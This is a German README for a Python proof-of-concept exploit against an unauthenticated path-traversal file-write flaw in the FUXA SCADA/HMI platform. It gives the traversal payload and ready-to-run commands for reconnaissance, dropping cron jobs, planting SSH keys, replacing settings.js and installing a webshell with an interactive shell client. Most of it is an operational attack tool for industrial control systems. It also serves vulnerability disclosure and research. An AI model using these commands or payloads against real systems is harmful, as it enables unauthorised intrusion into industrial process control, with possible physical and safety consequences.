
Proof-of-Concept-Exploit für CVE-2026-25895 FUXA Nicht authentifizierter Path Traversal -> Arbitrary File Write -> RCE
Nicht authentifiziertes, Pre-Auth beliebiges Dateischreiben gegen FUXA, eine Node.js-basierte SCADA/HMI-Plattform. Verkettet zu Remote Code Execution über mehrere verschiedene Post-Write-Primitiven. Funktioniert selbst wenn secureEnabled = true (Authentifizierung aktiviert) ist, da der angreifbare Endpunkt keine Middleware hat.
Auch verfügbar auf ExploitDB: https://www.exploit-db.com/exploits/52568
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-25895 |
| Betroffen | FUXA <= 1.2.9 |
| Behoben | FUXA 1.2.10 |
| Anbieter | frangoteam / FUXA |
| Angriffsvektor | Netzwerk (HTTP/HTTPS) |
| Authentifizierung | Keine erforderlich |
| Auswirkung | Beliebiges Dateischreiben, Remote Code Execution |
| CVSS v3.1 | 9.8 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Forscher | Anthony Cihan (Hann1bl3L3ct3r) |
Der Endpunkt POST /api/upload von FUXA (server/api/projects/index.js:193) ist ohne Middleware registriert und umgeht sowohl die secureFnc-JWT-/API-Key-Prüfung als auch die Admin-Berechtigungsstufe, die auf alle anderen Projektverwaltungs-Endpunkte angewendet wird. Innerhalb des Handlers wird das JSON-Body-Feld destination mit nur einem führenden Unterstrich und ohne Normalisierung oder Containment-Prüfung in einen Dateisystempfad eingefügt:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Ein destination-Wert der Form a/../../../../../etc (wobei a das führende Unterstrich-Präfix absorbiert) lässt path.resolve von Node aus appDir an jeden Ort ausbrechen, den der FUXA-Prozess beschreiben kann. Da fs.writeFileSync von einem bedingten fs.mkdirSync(dir, { recursive: true }) vorausgeht, kann der Angreifer auch bei Bedarf übergeordnete Verzeichnisse erstellen.
Das Ergebnis ist eine nicht authentifizierte, beliebige Dateischreib-Primitive, die über den Standard-HTTP-Port (1881) erreichbar ist und unabhängig davon, ob der FUXA-Administrator das Login aktiviert hat, pre-auth ausgenutzt werden kann.
Ein nicht authentifizierter entfernter Angreifer kann:
settings.js ersetzen, um beim nächsten Neustart von FUXA Codeausführung zu erreichen/etc/cron.d/<file>) ablegen, um innerhalb von 60 Sekunden Codeausführung zu erreichen, wenn FUXA als root läuft (Standard im Docker-Image des Anbieters)/root/.ssh/authorized_keys oder in ~/.ssh/authorized_keys eines beliebigen Benutzers ablegenDies ist ein pre-auth kritischer Befund auf einer ICS/SCADA-Plattform, die zur Steuerung industrieller Prozesse verwendet wird.
| Version | Status |
|---|---|
<= 1.2.9 | Anfällig |
1.2.10+ | Behoben |
Bestätigt ausnutzbar gegen eine saubere Installation von FUXA 1.2.9 auf Ubuntu Server.
Einzeldatei-Python-3-Skript, eine Drittanbieter-Abhängigkeit (requests).
pip install requests
python3 fuxapwn.py --help
Identifizieren des laufenden OS-Benutzers, der Node-RED-Exposition und anderer Konten auf dem Host, ohne etwas Ungewöhnliches zu schreiben:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Schreiben einer neutralen /tmp/healthcheck-Markierung (keine CVE-spezifischen IOCs im Dateinamen oder -inhalt):
python3 fuxapwn.py -u http://target:1881 --mode canary
Wenn FUXA als root läuft, einen Cron-Datei ablegen, die innerhalb von 60 Sekunden ausgelöst wird, ohne dass ein Neustart von FUXA erforderlich ist:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.js-ErsatzInstallieren eines HTTP-Webshell-Listeners innerhalb des FUXA-Node-Prozesses (aktiviert sich beim nächsten Kaltstart, da require() Module cached), dann in ein interaktives REPL wechseln, sobald FUXA neu startet:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| Modus | Zweck |
|---|---|
recon | Nicht authentifiziertes Informationsleck via GET /api/settings; leitet den laufenden OS-Benutzer aus absoluten Pfaden ab; meldet Node-RED-Status; optionale --probe-root- und --probe-home-aktive Sonden |
canary | Beweis der Dateischreibprimitive mit einem neutralen Standardpfad |
settings-rce | Ersetzt settings.js mit einem Payload, der beim nächsten Kaltstart von FUXA einen konfigurierbaren Befehl ausführt |
ssh-key | Schreibt einen öffentlichen Schlüssel in authorized_keys eines Zielbenutzers |
drop | Beliebiger Dateiabwurf an einen beliebigen absoluten Pfad |
cron | Legt /etc/cron.d/<name> für RCE innerhalb von 60 Sekunden ab, ohne auf einen Neustart von FUXA zu warten (erfordert FUXA als root) |
webshell | Installiert einen HTTP-Webshell-Listener innerhalb des FUXA-Node-Prozesses via settings.js-Ersatz (aktiviert beim nächsten Kaltstart) |
webshell-exec | Client für eine bereits installierte Webshell; einzelner Befehl oder --interact REPL |
Vollständige modusbezogene Flags-Referenz: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) ist ohne Middleware registriert und gibt die Live-Laufzeitkonfiguration zurück, leicht redigiert (der Server löscht secretCode und smtp.password vor dem Senden). Die verbleibenden Felder lecken absolute Pfade (appDir, workDir, userSettingsFile, logsDir, uploadFileDir), die typischerweise den Dienstbenutzer identifizieren, sowie nodeRedEnabled, was ein direkter Hinweis auf einen zweiten nicht authentifizierten RCE-Pfad ist (siehe unten).